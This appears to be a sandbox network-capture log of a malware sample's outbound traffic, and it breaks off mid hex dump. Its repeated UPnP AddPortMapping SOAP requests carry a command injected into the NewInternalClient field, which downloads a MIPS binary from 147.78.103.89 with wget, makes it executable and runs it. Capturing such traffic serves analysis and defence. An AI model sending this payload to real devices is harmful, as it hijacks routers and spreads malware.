                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      168192.168.2.153402045.43.225.4852869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:00.021949053 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:04.055198908 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:10.199002981 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:22.230675936 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      169192.168.2.153346645.207.181.5952869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:02.343038082 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:06.359106064 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:12.502934933 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 